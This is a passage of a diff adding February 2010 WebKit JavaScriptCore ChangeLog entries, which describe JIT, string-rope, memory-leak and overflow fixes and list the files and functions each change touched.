+        * jit/JIT.h:
+        (JSC::JIT::compileGetByIdProto):
+        (JSC::JIT::compileGetByIdSelfList):
+        (JSC::JIT::compileGetByIdProtoList):
+        (JSC::JIT::compileGetByIdChainList):
+        (JSC::JIT::compileGetByIdChain):
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::privateCompileGetByIdProto):
+        (JSC::JIT::privateCompileGetByIdSelfList):
+        (JSC::JIT::privateCompileGetByIdProtoList):
+        (JSC::JIT::privateCompileGetByIdChainList):
+        (JSC::JIT::privateCompileGetByIdChain):
+        * jit/JITPropertyAccess32_64.cpp:
+        (JSC::JIT::privateCompileGetByIdProto):
+        (JSC::JIT::privateCompileGetByIdSelfList):
+        (JSC::JIT::privateCompileGetByIdProtoList):
+        (JSC::JIT::privateCompileGetByIdChainList):
+        (JSC::JIT::privateCompileGetByIdChain):
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::tryCacheGetByID):
+        (JSC::DEFINE_STUB_FUNCTION):
+        * jit/JITStubs.h:
+        (JSC::):
+        * runtime/GetterSetter.h:
+
+2010-02-23  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Web Inspector: Regression: r55027+: Inspector broken
+        https://bugs.webkit.org/show_bug.cgi?id=35253
+
+        op_get_by_id_getter_chain was not passing the correct this parameter.
+        The bug was caused by incorrect use of baseCell instead of baseValue,
+        baseValue contains the original object for the lookup (and hence the
+        correct this object), baseCell is clobbered as part of walking the
+        prototype chain.
+
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute):
+
+2010-02-23  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Rubber-stamped by Dimitri Glazkov.
+
+        Chromium build fix.
+
+        * JavaScriptCore.gyp/JavaScriptCore.gyp:
+
+2010-02-23  Leandro Pereira  <leandro@profusion.mobi>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Changes references of GOwnPtr to reflect their new place.
+        http://webkit.org/b/35084
+
+        * JavaScriptCore/JavaScriptCore.gypi:
+        * JavaScriptCore/wtf/Threading.h:
+        * JavaScriptCore/wtf/unicode/glib/UnicodeGLib.h:
+
+2010-02-23  Leandro Pereira  <leandro@profusion.mobi>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Adding the EFL implementation of JavaScriptCore.
+        See https://bugs.webkit.org/show_bug.cgi?id=35084 for details.
+
+        * GNUmakefile.am: Updated to reflect the new location of GOwnPtr and
+                          GRefPtr.
+        * wtf/efl/MainThreadEfl.cpp: Added.
+        * wtf/gobject/GOwnPtr.cpp: Moved from wtf/gtk.
+        * wtf/gobject/GOwnPtr.h: Moved from wtf/gtk.
+        * wtf/gobject/GRefPtr.cpp: Moved from wtf/gtk.
+        * wtf/gobject/GRefPtr.h: Moved from wtf/gtk.
+
+2010-02-22  Julien Chaffraix  <jchaffraix@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        Remove auto_ptr usage in JavaScriptCore.
+        https://bugs.webkit.org/show_bug.cgi?id=35221
+
+        * parser/Nodes.h: Removed now unneeded adopt method.
+        * parser/Parser.cpp: Removed <memory> include as it is not required anymore.
+        * wtf/OwnPtr.h: Removed the constructor from auto_ptr.
+        * wtf/VectorTraits.h: Removed a template specialization for auto_ptr.
+        * wtf/unicode/Collator.h: Made userDefault return a PassOwnPtr.
+        * wtf/unicode/CollatorDefault.cpp:
+        (WTF::Collator::userDefault): Changed the method to match the next signature.
+        * wtf/unicode/icu/CollatorICU.cpp:
+        (WTF::Collator::userDefault): Ditto.
+
+2010-02-22  Huahui Wu  <hwu@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Add code that enables SquirrelFish Extreme (a.k.a JSCX, JSC JIT)
+        in Android. It's disabled by default, but is enabled when the 
+        enveronment variable ENABLE_JSC_JIT is set to true.
+        https://bugs.webkit.org/show_bug.cgi?id=34855
+
+        * Android.mk:
+        * wtf/Platform.h:
+
+2010-02-22  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        JSStringBuilder should not CRASH if allocation fails, it should throw a JSException.
+
+        * runtime/JSGlobalObjectFunctions.cpp:
+        * runtime/JSStringBuilder.h:
+        (JSC::JSStringBuilder::JSStringBuilder):
+        (JSC::JSStringBuilder::append):
+        (JSC::JSStringBuilder::build):
+        * runtime/StringBuilder.h:
+        (JSC::StringBuilder::build):
+        * wtf/Vector.h:
+        (WTF::VectorBufferBase::tryAllocateBuffer):
+        (WTF::):
+        (WTF::VectorBuffer::tryAllocateBuffer):
+        (WTF::::tryExpandCapacity):
+        (WTF::::tryReserveCapacity):
+        (WTF::::tryAppend):
+
+2010-02-22  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        [BREWMP] Map FastMalloc to BREW memory allocator
+        https://bugs.webkit.org/show_bug.cgi?id=33570
+
+        Use MALLOC macro instead of the standard malloc function.
+        Although RVCT provides malloc, we can't use it in BREW
+        because the loader does not initialize the base address properly.
+
+        * wtf/FastMalloc.cpp:
+        * wtf/brew/SystemMallocBrew.h: Added.
+        (mallocBrew):
+        (callocBrew):
+        (freeBrew):
+        (reallocBrew):
+
+2010-02-22  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Build fix for make distcheck.
+
+        * GNUmakefile.am:
+
+2010-02-22  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed build fix.
+
+        [Qt] Build fix for RVCT.
+
+        Fix after r55024. The "-i" option is for perl not for the
+        script.
+
+        * DerivedSources.pro:
+
+2010-02-21  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Make UString::m_data be const, and make the UChar owned/ref-counted by CrossThreadRefCounted be const too.
+
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::baseSharedBuffer):
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::create):
+        (JSC::UStringImpl::data):
+        (JSC::UStringImpl::UStringImpl):
+        * wtf/OwnFastMallocPtr.h:
+        (WTF::OwnFastMallocPtr::~OwnFastMallocPtr):
+
+2010-02-21  Yuta Kitamura  <yutak@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HashMapTranslatorAdapter::translate() needs to set the mapped value.
+
+        HTTPHeaderMap::add(const char*, const String&) does not work
+        https://bugs.webkit.org/show_bug.cgi?id=35227
+
+        * wtf/HashMap.h:
+        (WTF::HashMapTranslatorAdapter::translate):
+
+2010-02-19  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by David Levin.
+
+        Add an ENABLE flag for sandboxed iframes to make it possible to disable it in releases
+        https://bugs.webkit.org/show_bug.cgi?id=35147
+
+        * Configurations/FeatureDefines.xcconfig:
+
+2010-02-19  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        JSString::getIndex() calls value() to resolve the string value (is a rope)
+        to a UString, then passes the result to jsSingleCharacterSubstring without
+        checking for an exception.  In case of out-of-memory the returned UString
+        is null(), which may result in an out-of-buounds substring being created.
+        This is bad.
+
+        Simple fix is to be able to get an index from a rope without resolving to
+        UString.  This may be a useful optimization in some test cases.
+
+        The same bug exists in some other methods is JSString, these can be fixed
+        by changing them to call getIndex().
+
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        (JSC::JSString::getStringPropertyDescriptor):
+        * runtime/JSString.h:
+        (JSC::jsSingleCharacterSubstring):
+        (JSC::JSString::getIndex):
+        (JSC::jsSingleCharacterString):
+        (JSC::JSString::getStringPropertySlot):
+        * runtime/UStringImpl.cpp:
+        (JSC::singleCharacterSubstring):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::singleCharacterSubstring):
+
+2010-02-19  Oliver Hunt  <oliver@apple.com>
+
+        RS = Gavin Barraclough.
+
+        Split the 32/64 version of JITPropertyAccess into a separate file.
+
+        * GNUmakefile.am:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.pri:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * jit/JITPropertyAccess.cpp:
+        * jit/JITPropertyAccess32_64.cpp: Added.
+        (JSC::JIT::emit_op_put_by_index):
+        (JSC::JIT::emit_op_put_getter):
+        (JSC::JIT::emit_op_put_setter):
+        (JSC::JIT::emit_op_del_by_id):
+        (JSC::JIT::emit_op_method_check):
+        (JSC::JIT::emitSlow_op_method_check):
+        (JSC::JIT::emit_op_get_by_val):
+        (JSC::JIT::emitSlow_op_get_by_val):
+        (JSC::JIT::emit_op_put_by_val):
+        (JSC::JIT::emitSlow_op_put_by_val):
+        (JSC::JIT::emit_op_get_by_id):
+        (JSC::JIT::emitSlow_op_get_by_id):
+        (JSC::JIT::emit_op_put_by_id):
+        (JSC::JIT::emitSlow_op_put_by_id):
+        (JSC::JIT::compileGetByIdHotPath):
+        (JSC::JIT::compileGetByIdSlowCase):
+        (JSC::JIT::compilePutDirectOffset):
+        (JSC::JIT::compileGetDirectOffset):
+        (JSC::JIT::testPrototype):
+        (JSC::JIT::privateCompilePutByIdTransition):
+        (JSC::JIT::patchGetByIdSelf):
+        (JSC::JIT::patchMethodCallProto):
+        (JSC::JIT::patchPutByIdReplace):
+        (JSC::JIT::privateCompilePatchGetArrayLength):
+        (JSC::JIT::privateCompileGetByIdProto):
+        (JSC::JIT::privateCompileGetByIdSelfList):
+        (JSC::JIT::privateCompileGetByIdProtoList):
+        (JSC::JIT::privateCompileGetByIdChainList):
+        (JSC::JIT::privateCompileGetByIdChain):
+        (JSC::JIT::emit_op_get_by_pname):
+        (JSC::JIT::emitSlow_op_get_by_pname):
+
+2010-02-19  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Laszlo Gombos.
+
+        Added additional parameter to create_rvct_stubs 
+        for setting the regularexpression prefix.
+        Renamed it because it now works for other platforms too.
+        https://bugs.webkit.org/show_bug.cgi?id=34951
+
+        * DerivedSources.pro:
+        * create_jit_stubs: Copied from JavaScriptCore/create_rvct_stubs.
+        * create_rvct_stubs: Removed.
+
+2010-02-18  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Improve interpreter getter performance
+        https://bugs.webkit.org/show_bug.cgi?id=35138
+
+        Improve the performance of getter dispatch by making it possible
+        for the interpreter to cache the GetterSetter object lookup.
+
+        To do this we simply need to make PropertySlot aware of getters
+        as a potentially cacheable property, and record the base and this
+        objects for a getter access.  This allows us to use more-or-less
+        identical code to that used by the normal get_by_id caching, with
+        the dispatch being the only actual difference.
+
+        I'm holding off of implementing this in the JIT until I do some
+        cleanup to try and making coding in the JIT not be as horrible
+        as it is currently.
+
+        * bytecode/CodeBlock.cpp:
+        (JSC::CodeBlock::dump):
+        (JSC::CodeBlock::derefStructures):
+        (JSC::CodeBlock::refStructures):
+        * bytecode/Opcode.h:
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::resolveGlobal):
+        (JSC::Interpreter::tryCacheGetByID):
+        (JSC::Interpreter::privateExecute):
+        * jit/JIT.cpp:
+        (JSC::JIT::privateCompileMainPass):
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::tryCacheGetByID):
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/JSObject.cpp:
+        (JSC::JSObject::fillGetterPropertySlot):
+        * runtime/PropertySlot.cpp:
+        (JSC::PropertySlot::functionGetter):
+        * runtime/PropertySlot.h:
+        (JSC::PropertySlot::isGetter):
+        (JSC::PropertySlot::isCacheable):
+        (JSC::PropertySlot::isCacheableValue):
+        (JSC::PropertySlot::setValueSlot):
+        (JSC::PropertySlot::setGetterSlot):
+        (JSC::PropertySlot::setCacheableGetterSlot):
+        (JSC::PropertySlot::clearOffset):
+        (JSC::PropertySlot::thisValue):
+
+2010-02-17  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fixed a portion of:
+        <rdar://problem/7165917> | https://bugs.webkit.org/show_bug.cgi?id=28676
+        Safari 4 does not release memory back to the operating system fast enough (28676)
+        
+        This patch fixes a surprisingly common edge case in which the page heap
+        would have only one free span, but that span would be larger than the
+        minimum free size, so we would decide not to free it, even though it
+        could be as large as 100MB or more!
+        
+        SunSpider reports no change on Mac or Windows.
+
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMalloc_PageHeap::scavenge): Call shouldContinueScavenging() instead
+        of doing the math ourselves. Don't keep a local value for pagesDecommitted
+        because that lets free_committed_pages_ be wrong temporarily. Instead,
+        update free_committed_pages_ as we go. ASSERT that we aren't releasing
+        a span that has already been released, because we think this is impossible.
+        Finally, don't be afraid to release all free memory in the page heap when
+        scavenging. We only scavenge after 5 seconds of the application's working
+        set not growing, and we keep both thread caches and a central cache on
+        top of the page heap, so the extra free pages in the page heap were just
+        overkill.
+
+2010-02-17  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35070
+        Addition of 2 strings of length 2^31 may result in a string of length 0.
+
+        Check for overflow when creating a new JSString as a result of an addition
+        or concatenation, throw an out of memory exception.
+
+        * runtime/JSString.h:
+        (JSC::):
+        * runtime/Operations.h:
+        (JSC::jsString):
+
+2010-02-17  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        [Linux] Webkit incompatible with Java plugins
+        https://bugs.webkit.org/show_bug.cgi?id=24912
+
+        Add support for GFile to GOwnPtr.
+
+        Based on original work by Gustavo Noronha.
+
+        * wtf/gtk/GOwnPtr.cpp:
+        (WTF::GFile):
+        * wtf/gtk/GOwnPtr.h:
+
+2010-02-16  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Fix a handful of other leaks seen on the buildbot.
+
+        * runtime/UStringImpl.h:
+        (JSC::UStringOrRopeImpl::deref): Delegate through to the subclass version of deref to ensure that
+        the correct cleanup takes place.  This function previously featured some code that attempted to
+        skip deletion of static UStringImpl's.  Closer inspection revealed that it was in fact equivalent
+        to "if (false)", meaning that UStringImpl's which had their final deref performed via this function
+        were leaked.
+
+2010-02-16  Mark Rowe  <mrowe@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Fix a handful of leaks seen on the buildbot.
+
+        * runtime/UStringImpl.h:
+        (JSC::UStringOrRopeImpl::deref): Call URopeImpl::destructNonRecursive rather than delete
+        to ensure that the rope's fibers are also destroyed.
+
+2010-02-16  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34964
+        Leaks tool reports false memory leaks due to Rope implementation.
+
+        A rope is a recursive data structure where each node in the rope holds a set of
+        pointers, each of which may reference either a string (in UStringImpl form) or
+        another rope node.  A low bit in each pointer is used to distinguish between
+        rope & string elements, in a fashion similar to the recently-removed
+        PtrAndFlags class (see https://bugs.webkit.org/show_bug.cgi?id=33731 ).  Again,
+        this causes a problem for Leaks - refactor to remove the magic pointer
+        mangling.
+
+        Move Rope out from JSString.h and rename to URopeImpl, to match UStringImpl.
+        Give UStringImpl and URopeImpl a common parent class, UStringOrRopeImpl.
+        Repurpose an otherwise invalid permutation to flags (static & should report
+        memory cost) to identify ropes.
+
+        This allows us to change the rope's fibers to interrogate the object rather
+        than storing a bool within the low bits of the pointer (or in some cases the
+        use of a common parent class removes the need to determine the type at all -
+        there is a common interface to ref or get the length of either ropes or strings).
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClass::OpaqueJSClass):
+        (OpaqueJSClassContextData::OpaqueJSClassContextData):
+        * bytecompiler/BytecodeGenerator.cpp:
+        (JSC::keyForCharacterSwitch):
+        * interpreter/Interpreter.cpp:
+        (JSC::Interpreter::privateExecute):
+        * jit/JITStubs.cpp:
+        (JSC::DEFINE_STUB_FUNCTION):
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncToString):
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::equal):
+        (JSC::Identifier::addSlowCase):
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        * runtime/JSString.h:
+        (JSC::):
+        (JSC::RopeBuilder::JSString):
+        (JSC::RopeBuilder::~JSString):
+        (JSC::RopeBuilder::appendStringInConstruct):
+        (JSC::RopeBuilder::appendValueInConstructAndIncrementLength):
+        (JSC::RopeBuilder::JSStringFinalizerStruct::JSStringFinalizerStruct):
+        (JSC::RopeBuilder::JSStringFinalizerStruct::):
+        * runtime/UString.cpp:
+        (JSC::UString::toStrictUInt32):
+        (JSC::equal):
+        * runtime/UString.h:
+        (JSC::UString::isEmpty):
+        (JSC::UString::size):
+        * runtime/UStringImpl.cpp:
+        (JSC::URopeImpl::derefFibersNonRecursive):
+        (JSC::URopeImpl::destructNonRecursive):
+        * runtime/UStringImpl.h:
+        (JSC::UStringOrRopeImpl::isRope):
+        (JSC::UStringOrRopeImpl::length):
+        (JSC::UStringOrRopeImpl::ref):
+        (JSC::UStringOrRopeImpl::):
+        (JSC::UStringOrRopeImpl::operator new):
+        (JSC::UStringOrRopeImpl::UStringOrRopeImpl):
+        (JSC::UStringImpl::adopt):
+        (JSC::UStringImpl::createUninitialized):
+        (JSC::UStringImpl::tryCreateUninitialized):
+        (JSC::UStringImpl::data):
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::deref):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::):
+        (JSC::URopeImpl::tryCreateUninitialized):
+        (JSC::URopeImpl::initializeFiber):
+        (JSC::URopeImpl::fiberCount):
+        (JSC::URopeImpl::fibers):
+        (JSC::URopeImpl::deref):
+        (JSC::URopeImpl::URopeImpl):
+        (JSC::URopeImpl::hasOneRef):
+        (JSC::UStringOrRopeImpl::deref):
+
+2010-02-15  Gabor Loki  <loki@webkit.org>
+
+        Reviewed by Gavin Barraclough.
+
+        Fix the SP at ctiOpThrowNotCaught on Thumb2 (JSVALUE32)
+        https://bugs.webkit.org/show_bug.cgi?id=34939
+
+        * jit/JITStubs.cpp:
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Build Fix!).
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Some general Rope related refactoring.
+
+        Rename Rope::m_ropeLength to m_fiberCount, to be more descriptive.
+        Rename Rope::m_stringLength to simply m_length (since this is the
+        more conventional name for the length of a string).  Move append
+        behaviour out into a new RopeBuilder class, so that Rope no longer
+        needs any knowledge of the JSString or UString implementation.
+
+        Make Rope no longer be nested within JSString.
+        (Rope now no-longer need reside within JSString.h, but leaving
+        the change of moving this out to a different header as a separate
+        change from these renames).
+
+        * JavaScriptCore.exp:
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
+        * runtime/JSString.cpp:
+        (JSC::Rope::destructNonRecursive):
+        (JSC::Rope::~Rope):
+        (JSC::JSString::resolveRope):
+        (JSC::JSString::toBoolean):
+        (JSC::JSString::getStringPropertyDescriptor):
+        * runtime/JSString.h:
+        (JSC::Rope::Fiber::Fiber):
+        (JSC::Rope::Fiber::deref):
+        (JSC::Rope::Fiber::ref):
+        (JSC::Rope::Fiber::refAndGetLength):
+        (JSC::Rope::Fiber::isRope):
+        (JSC::Rope::Fiber::rope):
+        (JSC::Rope::Fiber::isString):
+        (JSC::Rope::Fiber::string):
+        (JSC::Rope::Fiber::nonFiber):
+        (JSC::Rope::tryCreateUninitialized):
+        (JSC::Rope::append):
+        (JSC::Rope::fiberCount):
+        (JSC::Rope::length):
+        (JSC::Rope::fibers):
+        (JSC::Rope::Rope):
+        (JSC::Rope::operator new):
+        (JSC::):
+        (JSC::RopeBuilder::JSString):
+        (JSC::RopeBuilder::~JSString):
+        (JSC::RopeBuilder::length):
+        (JSC::RopeBuilder::canGetIndex):
+        (JSC::RopeBuilder::appendStringInConstruct):
+        (JSC::RopeBuilder::appendValueInConstructAndIncrementLength):
+        (JSC::RopeBuilder::isRope):
+        (JSC::RopeBuilder::fiberCount):
+        (JSC::JSString::getStringPropertySlot):
+        * runtime/Operations.h:
+        (JSC::jsString):
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Build fix).
+
+        Add missing cast for !YARR (PPC) builds.
+
+        * runtime/RegExp.cpp:
+        (JSC::RegExp::match):
+
+2010-02-14  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Many false leaks in release builds due to PtrAndFlags
+
+        StructureTransitionTable was effectively a smart pointer type,
+        one machine word in size and wholly contained as a member of
+        of Structure.  It either pointed to an actual table, or could
+        be used to describe a single transtion entry without use of a
+        table.
+
+        This, however, worked by using a PtrAndFlags, which is not
+        compatible with the leaks tool.  Since there is no clear way to
+        obtain another bit for 'free' here, and since there are bits
+        available up in Structure, merge this functionality back up into
+        Structure.  Having this in a separate class was quite clean
+        from an enacapsulation perspective, but this solution doesn't
+        seem to bad - all table access is now intermediated through the
+        Structure::structureTransitionTableFoo methods, keeping the
+        optimization fairly well contained.
+
+        This was the last use of PtrAndFlags, so removing the file too.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * bytecode/CodeBlock.h:
+        * runtime/Structure.cpp:
+        (JSC::Structure::Structure):
+        (JSC::Structure::~Structure):
+        (JSC::Structure::addPropertyTransitionToExistingStructure):
+        (JSC::Structure::addPropertyTransition):
+        (JSC::Structure::hasTransition):
+        * runtime/Structure.h:
+        (JSC::Structure::):
+        (JSC::Structure::structureTransitionTableContains):
+        (JSC::Structure::structureTransitionTableGet):
+        (JSC::Structure::structureTransitionTableHasTransition):
+        (JSC::Structure::structureTransitionTableRemove):
+        (JSC::Structure::structureTransitionTableAdd):
+        (JSC::Structure::structureTransitionTable):
+        (JSC::Structure::setStructureTransitionTable):
+        (JSC::Structure::singleTransition):
+        (JSC::Structure::setSingleTransition):
+        * runtime/StructureTransitionTable.h:
+        * wtf/PtrAndFlags.h: Removed.
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber Stamped by Geoff Garen.
+
+        Bug 34948 - tryMakeString should fail on error in length calculation
+
+        Ooops! - "bool overflow" argument should have been "bool& overflow".
+
+        * runtime/UString.h:
+        (JSC::sumWithOverflow):
+        (JSC::tryMakeString):
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Build Fix (pt 2!)).
+
+        Some symbol names have changed, remove, will readd if required.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (Build Fix (pt 1?)).
+
+        Some symbol names have changed, remove, will readd if required.
+
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+
+2010-02-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Removed some mistaken code added in http://trac.webkit.org/changeset/53860.
+
+        * API/APIShims.h:
+        (JSC::APICallbackShim::APICallbackShim):
+        (JSC::APICallbackShim::~APICallbackShim): No need to start/stop the
+        timeout checker when calling out from the API to the client; we want to
+        monitor the VM for timeouts, not the client. This mistake was harmless /
+        undetectable, since it's totally redundant with the APIEntryShim, which
+        also starts / stops the timeout checker.
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Bug 34952 - String lengths in UString should be unsigned.
+        This matches WebCore::StringImpl, and better unifies behaviour throughout JSC.
+
+        * JavaScriptCore.exp:
+        * bytecode/EvalCodeCache.h:
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::equal):
+        * runtime/Identifier.h:
+        * runtime/JSGlobalObjectFunctions.cpp:
+        (JSC::globalFuncEscape):
+        * runtime/JSONObject.cpp:
+        (JSC::gap):
+        (JSC::Stringifier::indent):
+        * runtime/NumberPrototype.cpp:
+        (JSC::numberProtoFuncToFixed):
+        (JSC::numberProtoFuncToPrecision):
+        * runtime/RegExp.cpp:
+        (JSC::RegExp::match):
+        * runtime/StringPrototype.cpp:
+        (JSC::substituteBackreferencesSlow):
+        (JSC::stringProtoFuncReplace):
+        (JSC::stringProtoFuncSplit):
+        (JSC::trimString):
+        * runtime/UString.cpp:
+        (JSC::UString::UString):
+        (JSC::UString::from):
+        (JSC::UString::getCString):
+        (JSC::UString::ascii):
+        (JSC::UString::operator[]):
+        (JSC::UString::toStrictUInt32):
+        (JSC::UString::find):
+        (JSC::UString::rfind):
+        (JSC::UString::substr):
+        (JSC::operator<):
+        (JSC::operator>):
+        (JSC::compare):
+        (JSC::equal):
+        (JSC::UString::UTF8String):
+        * runtime/UString.h:
+        (JSC::UString::size):
+        (JSC::operator==):
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::create):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::create):
+        (JSC::UStringImpl::size):
+        (JSC::UStringImpl::computeHash):
+        (JSC::UStringImpl::UStringImpl):
+
+2010-02-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Geoff Garen.
+
+        Bug 34948 - tryMakeString should fail on error in length calculation
+
+        The sum of the length of substrings could overflow.
+
+        * runtime/UString.h:
+        (JSC::sumWithOverflow):
+        (JSC::tryMakeString):
+
+2010-02-15  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Fixed <rdar://problem/7628524> Crash beneath JSGlobalContextRelease when
+        typing in Google search field with GuardMalloc/full page heap enabled
+
+        * API/JSContextRef.cpp: Don't use APIEntryShim, since that requires
+        a JSGlobalData, which this function destroys. Do use setCurrentIdentifierTable
+        and JSLock instead, since those are the two features of APIEntryShim we
+        require.
+
+2010-02-15  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Laszlo Gombos.
+
+        Added additional parameter to create_rvct_stubs 
+        for setting the offset of thunkReturnAddress.
+        https://bugs.webkit.org/show_bug.cgi?id=34657
+
+        * create_rvct_stubs:
+        * jit/JITStubs.cpp:
+
+2010-02-15  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix QScriptValue::toIntXX methods.
+
+        More ECMA Script compliance.
+
+        [Qt] QScriptValue::toIntXX returns incorrect values
+        https://bugs.webkit.org/show_bug.cgi?id=34847
+
+        * qt/api/qscriptvalue_p.h:
+        (QScriptValuePrivate::toInteger):
+        (QScriptValuePrivate::toInt32):
+        (QScriptValuePrivate::toUInt32):
+        (QScriptValuePrivate::toUInt16):
+        * qt/tests/qscriptvalue/tst_qscriptvalue.h:
+        * qt/tests/qscriptvalue/tst_qscriptvalue_generated.cpp:
+        (tst_QScriptValue::toInteger_initData):
+        (tst_QScriptValue::toInteger_makeData):
+        (tst_QScriptValue::toInteger_test):
+        (tst_QScriptValue::toInt32_initData):
+        (tst_QScriptValue::toInt32_makeData):
+        (tst_QScriptValue::toInt32_test):
+        (tst_QScriptValue::toUInt32_initData):
+        (tst_QScriptValue::toUInt32_makeData):
+        (tst_QScriptValue::toUInt32_test):
+        (tst_QScriptValue::toUInt16_initData):
+        (tst_QScriptValue::toUInt16_makeData):
+        (tst_QScriptValue::toUInt16_test):
+
+2010-02-14  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Adam Barth.
+
+        Implement NEVER_INLINE and NO_RETURN for RVCT
+        https://bugs.webkit.org/show_bug.cgi?id=34740
+
+        * wtf/AlwaysInline.h:
+
+2010-02-12  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Remove uses of PtrAndFlags from JIT data stuctures.
+
+        These break the OS X Leaks tool.  Free up a bit in CallLinkInfo, and invalid
+        permutation of pointer states in MethodCallLinkInfo to represent the removed bits.
+
+        * bytecode/CodeBlock.h:
+        (JSC::CallLinkInfo::seenOnce):
+        (JSC::CallLinkInfo::setSeen):
+        (JSC::MethodCallLinkInfo::MethodCallLinkInfo):
+        (JSC::MethodCallLinkInfo::seenOnce):
+        (JSC::MethodCallLinkInfo::setSeen):
+        * jit/JIT.cpp:
+        (JSC::JIT::unlinkCall):
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::patchMethodCallProto):
+        * runtime/UString.h:
+
+2010-02-12  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Many false leaks in release builds due to PtrAndFlags
+
+        Remove UntypedPtrAndBitfield (similar to PtrAndFlags) in UStringImpl,
+        and steal bits from the refCount instead.
+
+        * runtime/UStringImpl.cpp:
+        (JSC::UStringImpl::baseSharedBuffer):
+        (JSC::UStringImpl::~UStringImpl):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::isIdentifier):
+        (JSC::UStringImpl::setIsIdentifier):
+        (JSC::UStringImpl::ref):
+        (JSC::UStringImpl::deref):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::bufferOwnerString):
+        (JSC::UStringImpl::bufferOwnership):
+        (JSC::UStringImpl::isStatic):
+        (JSC::UStringImpl::):
+
+2010-02-12  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Removed an unnecessary data dependency from my last patch.
+
+        * runtime/SmallStrings.cpp:
+        (JSC::SmallStrings::markChildren): Since isAnyStringMarked being false
